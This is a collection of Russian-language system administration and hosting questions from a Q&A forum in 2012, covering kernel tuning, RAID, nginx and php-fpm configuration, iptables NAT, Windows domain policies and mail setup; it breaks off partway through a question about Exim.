Чую сердцем, это похоже на чувака с горлом шириной в арбуз и ртом — в мышиный сфинктор. При этом поди поищи верный net.core.netdev_max_backlog в интернет — найдешь советы выставить этот параметр в 30000. ОК, только в оригинале той тиражируемой рекомендации рассматривалась машина с аплинком в 10Gb и железяка HiEnd класса (но какое нам дело).

И немного ворчания на эту тему:


Ладно, тут вроде бы можно догадаться, но о чем я совершенно боюсь не догадаться и страстно хочу подергать — параметры вида:
kernel.* vm.* fs.* debug.* dev.* ubc.* net.* (с этого и начну) abi.* crypto.* sunrpc.*

А может в дефолтном какие параметры отсутствую начисто? Может есть какой-то дотошный гайд «для задумывающихся» с примерами из 2011/12 года?


Ман — это не совсем тот вариант, в сорцы ядра погрузиться — не хватит мозгов. Чего делать? Тупо отвалить от ядра на год-другой?


Для затравки, была всего пара статей на хабре по защите от спуфинга без всяких предупреждений, что

включенный *.rp_filter поставит вас боком, если у вас «размазанный» кластер железяк (есть деньги на кластер — купи услуги админа).


Чем чреват *.accept_source_route? Сам accept_source_route упомянут в гугле (за прошедший год) всего 3 тысячи раз. Это как бы намекает на дефицит знаний на эту тему («сиськи» обсуждали 3,4 млн раз за этот год — это в 1150 раз чаще).
 

2012.09.24, 18:02:31   #Системное администрирование - #24284


Допустим есть пачка сервером (пока виртуальных).


HAProxy → nginx → static


Не могу понять, как замерить скорость на коммутацию пакетов, проходящих через эту группу интерфейсов/машин. Возможно в цепочке появится еще один сервер. Как замеряют такие хвосты?
 

2012.09.24, 21:47:31   #Системное администрирование - #24289


Два из трех серверов в дауне.

Телефон +800 сбрасываается. В тикетку на попасть
При соединении с support.selectel.ru произошла ошибка.
SSL получило запись, длина которой превышает максимально допустимую.
Тоже самое и с api.selectel.ru

Кто-нибудь в курсе что там к чему?
 

2012.09.25, 11:39:11   #Системное администрирование - #24305


Есть простые решение такой задачи?

Пользователь работает на Server 2008 R2 через RDP.

Нужно получить данные, дата + время проведенное на сервере.
 

2012.09.25, 12:36:53   #Системное администрирование - #24313


Здравствуйте!

Возник тут такой вопрос. Имеется массив RAID5 на 4-х SCSI дисках. Один диск вышел из строя. RAID продолжает работать и ждет когда ему засунут новый диск.

Проблема в том, что запасных дисков нет, и поставщики не могут поставить модель диска, используемую в RAID.

В связи с чем два вопроса.

1. Можно ли поставить другой SCSI диск, причем другого объема (больше, чем остальные)?

2. Можно ли поставить диск со скоростью шпинделя в 15 тыщ.об./мин., если все диски в массиве имеют 10 тыщ.об./мин.?
 

2012.09.26, 14:43:31   #Системное администрирование - #24423


Доброго времени суток, коллеги!

Есть в винде такая утилита как openfiles, позволяющая локально и удаленно запрашивать список открытых по сети файлов. Но вот в чем проблема, при подключении к удаленной машине список файлов выдается только в контексте подключающегося пользователя.

Возможно ли вообще получить список ВСЕХ открытых файлов на удаленной машине?
 

2012.09.26, 16:36:46   #Серверы - #24439


Всем доброго времени суток.


Нужно сделать средствами mikrotik, что бы человек при подключении к роутеру через Wi-Fi при заходе на любую страницу и через любой браузер, был пере направлен на мой веб сервер. Как это можно сделать?


Заранее спасибо.
 

2012.09.26, 17:54:06   #Системное администрирование - #24447


Задача: создавать автоматически снимки состояний виртуальных машин. Причём так, чтобы их было не более 5. Если создаётся 6-й то 1-й удаляется.

Подумал сначала сам скриптик написать, но задумался: может, кто-то уже решал подобную задачу?


Хостовая система: Ununtu 12.04

Виртуальные среды: VirtualBox 4.2 и VMware Workstation 9
 

2012.09.26, 19:56:01   #Системное администрирование - #24457


Дано: SVN сервер, Jenkins, который собирает проекты из исходников (вытягивает по SVN) и деплоит их на сервера. Чтобы это максимально быстро было, то машина с Jenkins и SVN находится рядом с серверами на которые он деплоит (в датацентре).

Проблема: когда пропадает интернет (укртелеком будь он неладен) работа программистов остановлена, т.к. SVN сервер находится далеко, не локально.

Думаем перенести SVN сервер в офис к програмистам, но тогда возникает вопрос как быть с Jenkins'ом, тоже переносить (т.к. доступа к локальному SVN из датацентра где сейчас стоит Jenkins нет)? Если все перенесем на офис, то процесс деплоя затянется (в связи с малой скоростью отдачи у укртелекома), т.к. нужно будет время на копирование собранных проектов на сервера, которые в датацентре.

Еще один из вариантов — это подключение второго провайдера и настройка шлюза так, чтобы если у одного провайдера отключился интернет, то автоматически поднялся второй.

Поделитесь свои опытом, как устроено у вас.
 

2012.09.27, 03:23:19   #Системное администрирование - #24477


Здравствуйте всем!

Есть КД на win 2008 r2. С PowerShell только начал знакомство. Завел из csv больше тысячи пользователей, а вот с созданием папок не получается…

Может, у кого есть наработки? Нужно примерно следующее:

Берется название папки из csv, папка подключается как домашняя к одноименному профилю(или тоже из csv), ей назначается буква диска «Y:»(например), даются права на чтение и запись для Админа, Этого пользователя и определенной группы. Как-то так… А и плюс жесткая квота на 200mb, к примеру…

Заранее спасибо.
 

2012.09.28, 14:22:40   #Системное администрирование - #24585


Нужно создать следующую ситуацию

1. Нужно сделать Красивоеимя.мойсайт.ру и имякакоебыло.ру зеркальными. Причем если человек зашел или перешел на первое имя, то ходил по его ссылкам, а если на второе, то по его, то есть без главного домена… Как это правильно реализовать на уровне апача? пока в голову приходит только два движка настроенные на разные домены и полное зеркалирование между ними, но вряд ли это оптимальный вариант.

2. Как на подобные вещи поисковики реагируют?
 

2012.09.28, 16:47:51   #Системное администрирование - #24599


Добрый день, коллеги.


У меня дома стоит ESXi 5 как домашняя лаба и вот через год беспрерывной работы начался сыпаться жесткий диск, на котором полдюжины виртуалок и сам гипервизор. Пока все данные целые хочу переустановить гипервизор на USB-флешку и собрать RAID1, чтобы еще год, два не беспокоится о системе.


Итак, вопрос: какой RAID-контроллер использовать? Хотелось бы что-нибудь простое (до 3000 рублей), но не уверен, что ESXi увидит массив, либо сможет мониторить состояние дисков в массиве.


Что посоветуете?
 

2012.09.28, 19:58:27   #Системное администрирование - #24609


Дома у меня интернет используют 5 компьютеров.

4 сидят в интернете через браузер, мой использует другие сетевые программы.

Компьютеры подключены по проводу и через WI-FI к роутеру Netgiar JWNR2000, который в свою очередь подключен к ADSL роутеру D-Link 2500U

Каким образом можно…?
1. Узнать как загружает канал конкретный компьютер
2. Ограничить скорость для компьютера верхней планкой ХХХ Кбит/сек
 

2012.09.28, 20:32:56   #Системное администрирование - #24613


С пятницей всех!!!

Мы переехали в облако RackSpace и с ростом количества серверов столкнулись с необходимостью установить VPN.

Можно ли сконфигурировать один сервер и иметь удалённый доступ ко всем серверам в облаке?

Какие существуют решения под ubuntu?

Спасибо
 

2012.09.30, 10:16:50   #Хостинг - #24697


На nic.ru пользуюсь своими nginx и php-fpm. Надо, чтобы они запускались автоматом при перезагрузке всего сервера.

Прописал скрипт, который это выполняет, в ~/etc/rc.d/my_start — рядом с их «родными» httpd и nginx. Но пару разу уже была ситуация, когда сервисы мои оказывались выключены. Подозреваю, что не сработал этот автостарт.


Тариф 201, сайты в ручном режиме, веб сервер хостинга выключен.


Подскажите, кто в курсе тонкостей nic.ru, как правильно сделать автозапуск?
 

2012.09.30, 17:48:47   #Системное администрирование - #24713


Есть 2 сайта на одном домене, управляется все это дело чистым свежим nginx. В зависимости от значения переменной $var мне нужно выдавать разные версии сайта. Сайты лежат в одной общей директории:

Директория родитель \
Директория родитель \ Сайт1
Директория родитель \ Сайт2

$var принимает значения Сайт1 и Сайт2.

Для одного сайта все понятно, конфиг nginx принимает следующий вид:

server { listen 80; server_name domain.com; root /var/www/Общая директория; index index.php index.html; location / { try_files $uri $uri/ /index.php?q=$uri&$args; } location ~ /index.php { include fastcgi_params; fastcgi_pass unix:/var/run/php5-fpm.sock; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; } location ~* \.(php|tpl|xml|log)$ { return 403; } }
Как правильно переделать данный конфиг, для решения данной задачи?
 

2012.10.01, 14:12:20   #Системное администрирование - #24779


Здравствуй %username%,

У нас маленький никому не мешающий сайтик с вполне скромной посещаемостью, отлично живущий на виртуальном хостинге.
Но что-то пошло ни так, и теперь на сайт ломятся с кучи IP.

Посоветуйте варианты решения ситуации.
 

2012.10.01, 20:30:24   #Серверы - #24821


Начал сейчас разбираться с данной технологией у себя на сервере. Так как тут ничего по сабжу нет (ну почти нет), то свой опыт могу оформить в общеобразовательный пост и обобщённый мануал.

Оно надо или хватит того что есть в википедии?
 

2012.10.02, 11:52:28   #Системное администрирование - #24873


Приветствую!

Подскажите как разрешить на компьютере выход в интернет ТОЛЬКО для Skype?

Нужно чтобы на компьютере (Windows XP) работал только Skype. Доступ в интернет в организации осуществляется через proxy (какой-то коммерческий типа TrafficInspector). У меня есть полный административный доступ к компьютеру. Можно попросить администратора организации сделать какие-либо настройки на прокси.
 

2012.10.03, 12:37:05   #Серверы - #24987


Добрый день.
Разработана программа взаимодействующая с GUI путем снятия скриншотов и нахождением «похожих» элементов с последующим кликом, вводом с клавиатуры и т.д. На Windows 2008 R2 сделали несколько пользователей, запустили программу, но как оказалось при сворачивании RDP или закрытии (без log out), программа не может снимать скриншоты, видимо Windows перестает отдавать данные по GUI (что логично), вопрос, можно ли предотвратить это? Чтобы независимо от того есть подключение к сессии или нет, программа могла снимать скриншоты?
 

2012.10.04, 20:21:28   #Системное администрирование - #25161


Доброго времени дамы и господа!

Возник у меня вопрос на тему сертификации в качестве linux администратора, погуглил, почитал, понял что есть три серьезных варианта: LPI, сертификаты от Red Hat и от Novel.

Собственно теперь требуется узнать:
1) По какому из этих вариантов есть достойные подготовительные курсы и материалы в Москве?
2) Какую сертификацию в дальнейшем можно пройти, не покидая территории России?
3) На какие еще курсы\сертификаты по данной теме стоит обратить внимание?

В качестве цели стоит получение новых знаний, возможность взглянуть на старые под иным углом, ну и бумажка, которая в последствии будет радовать работодателей.
 

2012.10.05, 12:24:38   #Хостинг - #25197


Здравия!

Хочу реселлить облачные сервисы типа exchange, backup. Что можете посоветовать?

Заранее всем спасибо!
 

2012.10.06, 06:44:37   #Хостинг - #25235


Интересует хостинг, который справится с просмотром 10000 в час по direct-link'ам.

Habrastorage не подходит в силу того, что он автоматически зажимает фотографии до 800PX по ширине. Нужен вариант не менее 1600PX по ширине.

Спасибо за внимание.
 

2012.10.08, 19:16:41   #Хостинг - #25377


Видел мануалы по установке и настройке, но все это надо делать руками, каждый раз ковырять конфиги в случае необходимости. Хочется что-то готовое с веб-интерфейсом/gui, чтобы развернуть на чистом vps. Чтобы после установки пользоваться не командной строкой, если надо внести коррективы в систему, а нормальным интерфейсом. Короче, что-то похожее на панели хостеров, самописные или ту же Cpanel. Чтобы было просто добавить домен, удалить его, настроить поддомены, переадресации, запреты, разрешения, php, mysql, cron, почту и т.п.
 

2012.10.09, 02:24:25   #Серверы - #25403


Здравствуйте, есть желание написать свой прокси-сервер, который по запросу с клиентской стороны (клиент так же пишем ручками) переадресоввывал все исходящие запросы через какой-либо сторонний сервер. Клиент указывает протокол и\или порт, и все запросы использующие данные параметры идут в обход до конечной цели.

Итак, с какой целью я создал вопрос?
Во-первых мне бы хотелось у вас спросить — а существуют ли готовые решения? Может мне было бы полезно о них почитать, а то и глянуть исходники. Вполне возможно что есть проекты, частично реализующие мои планы (TOR,SOCKS — те, которые я нашёл. Было бы замечательно в этом ещё разобраться, потому что касательно SOCKS — так в голове полная каша. Вам есть чем ещё поделиться?)

Во-вторых, в качестве ЯП на данный момент я рассматриваю Java, однако обусловлено это только кроссплатформенностью и небольшим опытом работы с ней. Подскажите, насколько это правильный выбор, может есть варианты получше?
 

2012.10.09, 13:42:33   #Системное администрирование - #25433


Добрый день, уважаемые хабровчане!

Ситуация: разростающаяся фирма и большое кол-во ресурсов, куда человеку предоставляется доступ по мере его работы.

Уследить за учетками пользователя становится очень сложно.

Существует ли некая софтина, которая может выполнять следующие функции:

1) ведение базы данных пользователей вида ФИО, логин, доступ к 1,2,3,4,5 ресурсу.

2) Возможность отписывать где-либо руководителю с просьбой открыть пользователю доступ туда или сюда.

3) сохранение соотвественно этой истории запросов.

4) желательна хоть какая-то процедура авторизации для записи (было бы совсем хорошо — интеграция с АД)


На ум пока приходит SharePoint или просто файлик-табличка с данными.

Существует ли что-либо еще?


Возможность развернуть систему как на Windows, так и на Linux
 

2012.10.10, 17:02:55   #Хостинг - #25547


Добрый день!
Наша студия разрабатывает сайты, клиентов накопилось очень много, в основном не очень нагружаемые проекты. Раньше регистрировали их на сторонних хостингах, но теперь есть желание самим оказывать такие услуги.
У нас ИП, вместо серверов хотим использовать VDS, т.е. свой физический сервер пока ставить не собираемся.
Какие лицензии и бумажки нам потребуются? Какие подводные камни могут быть, подскажите кто сталкивался…
 

2012.10.12, 13:49:54   #Системное администрирование - #25719


Всем привет.
После недели мучений я сдаюсь. :)
Мне нужна помощь в настройке связки nginx+php-fpm+freebsd
Конкретнее, у меня проблема с логами ошибок. Они, тупо, не пишутся.
вводные данные таковы.
freebsd 8.3-RELEASE
PHP 5.4.7 (fpm-fcgi)
nginx version: nginx/1.2.4

конфиг FPM
[global] pid = run/php-fpm.pid error_log = log/php-fpm.log log_level = notice emergency_restart_threshold = 5 emergency_restart_interval = 2 process_control_timeout = 2 daemonize = yes events.mechanism = kqueue [puser] listen = /usr/local/www/host/tmp/php-fpm.sock; listen.backlog = -1 listen.allowed_clients = 127.0.0.1 listen.owner = puser listen.group = puser listen.mode = 0666 user = puser group = puser pm = dynamic pm.max_children = 30 pm.start_servers = 2 pm.min_spare_servers = 2 pm.max_spare_servers = 5 pm.max_requests = 50 slowlog = /usr/local/www/host/logs/fpm.log.slow request_slowlog_timeout = 1s rlimit_files = 1024 rlimit_core = 0 chroot = /usr/local/www/host/ catch_workers_output = yes env[HOSTNAME] = $HOSTNAME env[TMP] = /tmp env[TMPDIR] = /tmp env[TEMP] = /tmp php_admin_value[upload_tmp_dir] = /tmp php_admin_value[cgi.fix_pathinfo] = 0 php_admin_value[date.timezone]= 'Europe/Moscow' php_admin_value[memory_limit] = 320m php_admin_value[max_execution_time] = 180 php_admin_flag[log_errors] = on php_admin_value[error_log] = /usr/local/www/host/logs/fpm-err.log (пробовал и по chroot ставить, и просто файл указывал. никаких признаков жизни) php_admin_value[error_reporting] = 'E_ALL & ~E_NOTICE' php_admin_value[display_errors] = off php_admin_flag[display_startup_errors] = off

конфиг nginx
user www; worker_processes 2; worker_rlimit_nofile 80000; error_log /var/log/nginx_error.log notice; #pid logs/nginx.pid; events { worker_connections 2048; use kqueue; } http { server_tokens off; client_max_body_size 4m; include mime.types; default_type application/octet-stream; charset utf-8; sendfile on; keepalive_timeout 65; tcp_nopush on; tcp_nodelay on; log_format IP .$remote_addr.; log_format main '$remote_addr - $remote_user [$time_local] $request $request_body ' '"$status" $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; reset_timedout_connection on; server { listen 80; server_name www.example.com; access_log /usr/local/www/host/logs/access.log main; error_log /usr/local/www/host/logs/error.log error; error_page 500 502 503 504 /errors/50x.html; error_page 404 /errors/404.html; root /usr/local/www/host/htdocs; index index.php index.html index.htm; location / { index index.html index.php; try_files $uri /index.php?$args; } location ~ \.php$ { fastcgi_split_path_info ^(.+\.php)(.*)$; fastcgi_intercept_errors on; fastcgi_pass unix:/usr/local/www/host/tmp/php-fpm.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /htdocs$fastcgi_script_name; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_param PATH_TRANSLATED /htdocs$fastcgi_script_name; include /usr/local/etc/nginx/fastcgi_params; } } }

в файле index.php, намеренно допускаю ошибку, например ставлю ' (кавычку) и…
никакой реакции со стороны сервера. Он, конечно, вываливает 500 стандартную ошибку, но во всех логах, кроме access.log вообще нет никаких свидетельств об этом инциденте.
Что я делаю не так?
 

2012.10.12, 14:58:51   #Системное администрирование - #25723


Доброго времени суток!

Пытаемся внедрить Capistrano для развертывания релизов на серверах. Все бы хорошо, если бы не праведная паранойя администратора. В связи с этим возникает вопрос: какими средствами правильно ограничить набор разрешенных действий для пользователя, используемого для деплоя. Равно как и список ресурсов файловой системы, к которым пользователь должен иметь (или не иметь) доступ.

В голову приходит всего 2 варианта:
— пляски с ~/.ssh/authorized_keys и command
— AppArmor & SELinux

Интересен опыт коллег в этом плане.
 

2012.10.13, 13:48:48   #Хостинг - #25787


В связи с законом о защите детей сейчас все чаще и чаще можно встретить на сайтах значок +18 или +16(например на Lenta.ru).
Хотелось бы знать есть ли смысл его размещать с точки зрения нашего законодательства.

У нас есть сервис уведомлений о концертах(ActionList.ru), то есть по сути это просто афиша, но можно встретить группы типа «х*й забей» + пользователи могут оставлять комментарии. Есть ли смысл ставить значок возрастного ценза. А если его в подвале разместить?
 

2012.10.13, 18:23:52   #Системное администрирование - #25803


Хочу настроить мониторинг состояния RAID контроллеров Adaptec 5805 в Nagios. Для этого требуется получать состояние массивов, самого контроллера (а ну как перегрелся), ну и возможно статистику в любом виде подвергающемся дальнейшей обработке. Серверов с такими контроллерами несколько и на них стоит гипервизор VMware ESXi 4.1.


Единственное решение которое я на данный момент нашел, это установить драйвера с сайта Adaptec'а и в дополнение его же CIM Provider, после этого появляется возможность удаленного мониторинга с помощью «RemoteARCCONF». К сожалению от обычного arcconf он отличается странностями авторизации и указанием хоста с которого брать данные — они записывается в конфиг файл при инсталляции и в последствии работа идет уже с этими данными.


На данный момент единственное, что возможно предпринять, это вести опрос с помощью RemoteARCCONF и обвязки из скрипта который предотвращает запуск еще одного RemoteARCCONF и подменяет ему конфиг файл.


Такое решение мне не особо нравится, но может кто-то уже сталкивался с данной задачей и нашел более правильное решение?


Если более красивого решения не найдется — имеет ли смысл описывать велосипед из «RemoteARCCONF» и обвязки статьей на хабре?
 

2012.10.15, 14:06:02   #Системное администрирование - #25931


Я понимаю что, вопрос такой вроде надо на спец-форумах задавать… но не поверите :) я задавал: OSzone1, OSzone2, SysAdmins.ru
И тишина, прям таки совсем тишина… ну попробую «поискать счастья» здесь…
Суть вопроса:
При ковырянии групповых политик, одной из манипуляций было попробовать внести некоторые изменения в Default Domain Policy (которая на тот момент была отключена, неизвестно зачем «архитектор сия сети канул в лету» :) ) Контроллером домена выступает Windows Server 2003 R2, он же DHCP-сервер.
На следующий день, после того как политика Default Domain Policy была активирована — все перезагружавшиеся рабочие станции под управлением Windows 7 Pro перестали принимать параметры от DHCP-сервера, не опознают сеть подключения («Неопознанная сеть» со всеми вытекающими), помог разобраться вот этот пост (да, я там тоже спросил :) ), только выводить из домена оказалось необязательно, достаточно зайти под любым локальным админом и сбросить политики
secedit /configure /cfg %windir%\inf\defltbase.inf /db defltbase.sdb /verbose
… Само собой Default Domain Policy снова отключена… побегать пришлось неплохо — «семерок» более двадцати.
Работоспособность семерок востановлена, но мне хочется знать что-же это все таки за такая политика, которая приводит к таким печальным для семерок последствиям, ведь рабочие станции Windows XP при этом работали отлично.
Какие у коллективного разума будут соображения?

PS: Я не админ, короче мотороллер не мой и т.д.
Но разобраться надо :)
 

2012.10.15, 15:42:41   #Системное администрирование - #25937


Прошу помочь советом уважаемое хабросообщество.
Стоит такая задача: следить за папкой на предмет появления новых файлов. Т.е. как только в папке появляется новый файл, запускаем скрипт на копирование этого файла в локальную папку. Ньюанс в том, что папка находится на удаленном сервере, и доступ туда по ftp. Реализуемо ли это в принципе (в средствах практически не ограничен)?
Заранее спасибо всем откликнувшимся.
 

2012.10.16, 06:51:54   #Системное администрирование - #25987


Доброе утро хабрсообщество. Внес вопрос в хаб 1С-Битрикс, но понимаю что не туда, нет отдельного Хаба 1С Предприятие.

Вопрос в следующем.
На предприятии поднимаем 1С v8 Документооборот, есть там такая функция как «легкая почта». Мы работаем с почтой Gmail. Связь с интернетом проходит следующим образом Router на Linux — UserGate для контроля трафика. Столкнулись с проблемой, когда в UG пробрасываем порты до Gmail почтовые программы работают и почта приходит/уходит. Чего не сказать о функции легкой почты в 1С Документооборот, хотя настраиваем так же как и почтовую программу выскакивает ошибка при проверке настройки почты:

При соединении произошла ошибка: {ОбщийМодуль.Почта.Модуль(159)}: Ошибка при вызове метода контекста (Подключиться) Соединение.Подключение(профиль); по причине: Соединение закрыто сервером.

Использование утилиты stunnel из соображений информационной безопасности не допускается.

Более детально могу сказать следующие:

Связка почтовая программа — настройка Gmail через прокси UG и проброс портов — Интернет — работает
Связка Модуль Почты в 1С Документооборот — настройка Gmail через прокси UG и проброс портов — Интернет — неработает

Связка почтовая программа — настройка Mail.ru через прокси UG и проброс портов — Интернет — работает
Связка Модуль Почты в 1С Документооборот — настройка Mail.ru через прокси UG и проброс портов — Интернет — работает

При использовании утилиты stunnel:
Связка Модуль Почты в 1С Документооборот — настройка Gmail через Stunnel и проброс портов — Интернет — работает

Из всего этого понятно следующее: Почтовый клиент настроенный через прокси UG шифрует сообщение и спокойно отправляет его на сервер, Модуль почты в 1С Документооборот настроенный через stunnel отправляет сообщение в stunnel там шифрует и отправляет на сервер, Модуль почты настроенный через прокси UG не шифрует сообщение и не может достучаться до сервера. Значит проблема в Модуле почты 1C Документооборот.

Ну вот как то так, если что не понятно могу в комментариях все объяснить задавайте вопросы.
 

2012.10.18, 23:35:14   #Системное администрирование - #26199


Лежит на сервере-хосте горка KVM-гостей, гости ломятся через 80-й порт наружу, что бы получить апдейты пакетов rpm/yum..., вытянуться curl и т.д. Но все эти запросы запиливаются к локальному http­-серверу по ряду причин в iptables хост-машины:
iptables -t nat -I PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.10.10.110:80
Это выглядит как-то так:

+----------------------------+ | Debian KVM-Host | iptables -t nat -I PREROUTING -p tcp \ | eth0: 5.5.5.5 | --dport 80 -j DNAT --to-destination 10.10.10.110:80 | vmbr1: 10.10.10.1 | +--------+-------------------+ | +--------+------------+ | nginx 10.10.10.110 | +---------------------+ | | | | | | +---------------------+ | | +----| Guest1 10.10.10.123 | | | +---------------------+ | | +---------------------+ | +---| Guest1 10.10.10.122 | | +---------------------+ | +---------------------+ +---| Guest1 10.10.10.121 | +---------------------+

Допустим, дергаю я wget yandex.ru с Guest3 10.10.10.123, а у меня в nginx-прокси на 10.10.10.110 все запросы незнакомые перенаправляются на Guest2 10.10.10.122, а на нем — Plesk, и вот мне этот самый плеск сообщает, что страница по умолчанию для этого сервера… и отдает мне её. Да и сам 10.10.10.110 все попытки выйти из сети, согласно правилу хост-машины, через себя пропускает и на 10.10.10.122 взад шлет. Сами интернет-адреса правильно ресолвятся (другие порты), но кого это интересует.

Так вот, как «разлупить» мне эту ситуацию — не вразумею. Помогите, пожалуйсталюдидобрые, с таким правилом, что бы все внешние адреса !10.10.10.0/24 слались через NAT и во вне хост-машины.
 

2012.10.19, 13:19:22   #Системное администрирование - #26229


Есть КД на win server 2008 r2, есть клиенты на win 7. При входе в домен пользователю на комп подгружается его профиль с рабочим столом и прочим. Групповые политики настроены так, что удаляют локальные профили после суток простоя, таким образом локальных пользователей на компьютерах нет.
В связи с временной нестабильностью сети возникла необходимость разрешить пользователям домена входить на свои компьютеры при отсутствии сети. Сейчас убираю в групповых политиках удаление профилей и разрешаю вход с локальных учеток, соответственно, если пользователь хоть раз заходил под учеткой на комп, она сохраняется и дает ему возможность зайти в систему без сети (само собой у него будет черный рабочий стол и все его файлы отсутствуют).
Собственно вопрос: что будет происходить с данными при повторном подключении к домену — затирается ли что-то? обновляются? игнорируется локальный профиль? И можно ли это где-то настраивать.
И второй — есть ли варианты для экстренного входа пользователей на комп получше этого?
 

2012.10.22, 19:13:23   #Системное администрирование - #26447


Необходимо найти площадку для хостинга «платежной системы». Система состоит из сервера приложений (Java и Apache tomcat) и сервера баз данных (Oracle 11g). Так как система связана с финансами, то нужна высокая надежность и доступность. Поделитесь опытом, где лучше разметить систему в облаке или арендовать сервера в дата-центре и нанимать админов для построения кластера. Пожалуйста, выскажите все «ЗА» и «ПРОТИВ». Спасибо!
 

2012.10.23, 14:18:18   #Системное администрирование - #26511


Необходимо осуществить перевод статики проекта (css/js/images) на поддомен cdn..com с помощью nginx. С логической точки зрения мне видится всё просто:
1. Создаю поддомен в конфиге
2. Меняю на сайте адрес статики
Проблема в том, что могу не учесть все места с выводом статики, поэтому хотелось бы перестраховаться.
Вопрос: религиозно ли верно будет точки зрения сео сделать 301й редирект в nginx для статики? Т.е. у меня сейчас есть стандартный location для статики, вот туда я засуну редирект на cdn..com И обязательно ли сразу убивать обработку статики на основном домене (не будет ли это считаться дублем)?
 

2012.10.23, 18:05:19   #Хостинг - #26535


Добрый вечер.

Совсем недавно у меня отвалился сайт написаннный на Asp.NET MVC 3. В ответе хостинга было сказано, что превышен порог CPU 20%.

Дело в том, что каждые три дня любого месяца на сайте идет резкий скачок посещаемости.

А у меня в коде был написан сущий бред и получалось, что за время сеанса конкретного пользователя генерировалось 3 временных файла ( GetTempFileName() ). Я не удалял временный файл после работы с ним в методе.

Но меня смущает описание возникшей проблемы. Я предполагаю, что именно в файлах и заключался траббл, но при чем тут тогда 20% CPU?

Подскажите пожалуйста, это на самом деле была виновата GetTempFileName()?
 

2012.10.24, 00:14:14   #Системное администрирование - #26557


В LAN есть несколько компьютеров. Все подключены к раутеру (OpenWRT), и через него выходят в Интернет.
IP адрес динамический.
Один компьютер работает, как NAS и как веб-сервер, FTP-server… Вот его надо сделать доступным из Интернета.
Вот тут есть схема раутера:
wiki.openwrt.org/toh/buffalo/wzr-hp-g300h

Там есть инструкции, как выделить порт для DMZ, но все инструкции создают новые VLANs и блокируют доступ между LAN и DMZ устройством. В общем-то это и есть настоящий DMZ.

А я хочу, чтобы все компьютеры были в одной LAN, и свободно контачили между собой.

Я вроде понял, что для этого нужно пользовать iptables, но никак не могу разобраться в синтаксисе.

Ну и как вторая часть этой задачи — нужно, чтобы обращаться у этому компьютеру можно было бы как из локалки, так и из Интернета по одному и тому же адресу, но это можно наверное сделать через DNSMASQ, и я уже сам допилю.
 

2012.10.24, 14:24:54   #Серверы - #26607


Если поставить две SSD в рейд для пущей надежности. Есть ли смысл делать из ноута сервер?
Один минус — в охлаждении. С питанием и размерами это очень заманчиво.
Предполагается использовать для внутренних целей без больших нагрузок в трафике.
 

2012.10.24, 14:57:36   #Системное администрирование - #26613


Собственно %сабж%. Есть пока что виртуальный кластер из 8-и машин на CentOS и Debian, которые переодически апдейтятся и апргейдятся из официальных репозиториев и их зеркал. Плюс чуточка «пользовательского» софта. Вроде и апдейтить — всего ничего, по чуть-чуть, но умножив это «чуть-чуть» на весь зооПарк, получается Цифра.


При каком зоопарке (количество машин) стоит заморачиваться на локальный репо и какие варианты тут могут быть?
 

2012.10.24, 18:23:37   #Системное администрирование - #26621


Здравствуйте, у меня есть схема, по которой необходимо создать таблицу маршрутизации. Поиски в Интернете не привели ни к чему. Возможно и было то, что может мне помочь, но я не системный администратор, я программист-фрилансер.

В общем схема вот:


Если вам будет не сложно, пожалуйста, объясните чайнику что к чему и что почитать, чтобы разбираться в том, как создавать такие таблицы.
 

2012.10.24, 20:26:22   #Системное администрирование - #26627


В старой конфигурации web-сервера (до переезда) стоял Plesk с локальным BIND'ом. Понимаю, что если бы была необходимость в ресолвинге доменных имен, и публичный IP-адрес сервера был прописан в A-записях доменов, то сервер, получив запрос… Постойте-ка, ну а в чем тогда смысл прописывания зависимостей Имя-〉Адрес/Папка в Apache и nginx? Разве это не одно и тоже? Разве это не ресолвинг?

Сейчас все свои домены, обслуживающиеся у Hetzner, я прописал на NS самого Hetzner. Прописанный сервер сам проксирует запросы на машины с соответствующими сервисами. Зачем же мне держать дублирующие записи на локальном BIND? Какие могут быть цели у такого дублирования и что я потеряю, удалив локальный BIND?
 

2012.10.25, 00:39:40   #Системное администрирование - #26647


Обновил на сервере Убунту с 11.04 до 12.10. Сразу после первой перезагрузки (т.е. еще на версии 11.10) не запустились некоторые сервисы. Не запустились они и на 12.10. Вручную командой service запускаются нормально, при загрузке системы никак.

Конкретнее, это сервисы: nginx, mysql, php5-fpm, redis-server, exim4, django. Т.е. все, что не идет с системой по-умолчанию.

Для каждого из них запустил update-rc.d defaults && update-rc.d enable

Все они есть в /etc/init.d/.

Что еще можно посмотреть?
 

2012.10.25, 17:15:01   #Системное администрирование - #26695


Есть мать Supermicro c RAID контроллером на Intel ICH10R.

Сдох диск, решил замутить RAID и купил два WD RE4.

И вот думаю теперь, отключать на них TLER т.к. типа он на софтрейдах вреден, или оставить?
 

2012.10.26, 10:27:08   #Системное администрирование - #26725


Приветствую.
Сейчас занимаюсь полной реорганизацией ИТ инфраструктуры в компании
сразу хочу всё документировать, но пока кроме MS Visio не вижу вариантов, как можно описать множественные зависимости систем и сетей.
Например:
Есть домен контроллер, это виртуальная машина, поэтому зависит от такого-то гипервизора 1.
Гипервизор один зависит от упс 1, который зависит от ввода 1 и упс 2, который зависит от ввода 2.
есть файловый сервер, который живет на гипервизоре 2 и зависит от него и от корзины 1, которая подключена к нему через коммутатор 1(упс 3), которая зависит от упс 3(ввод 2) и так далее и тому подобное по всей сети.

В сторону каких названия или классов софта гуглить, если есть готовое?

По мониторингу понятно, тот же нагиос еще несколько лет назад научился строить зависимости — если лежит коммутатор такой-то, то такие-то сервисы не доступны и пищать на аварию на них нет смысла. (Заббикс но вроде тоже умеет)

PS — хаба про документирование не нашел, поэтому посчитал вставить в три три хаба

Спасибо за подсказку и помощь.
 

2012.10.26, 14:30:59   #Системное администрирование - #26747


Дорогие хабровчане,

У меня проблема — помогите, пожалуйста.
Есть vps-сервер Ubuntu 12.04, на нем хостятся несколько сайтиков. Сайтики на wordpress. Раньше почта для них ходила при помощи msmtp, для него был прописан Google Apps Mail аккаунт с аутентификацией и т.п.

Появилась необходимость отправлять почту с каждого сайтика отдельно, от каждого отдельного адреса. Для этого был снесен msmtp и установлен Exim4 только для отправки писем. При этом происходят чудеса — из командной строки письма уходят — при помощи
echo "This is a test." | mail -s Testing mail@example.com
а вот при помощи
/usr/sbin/sendmail -t -i Test > Test > EOT
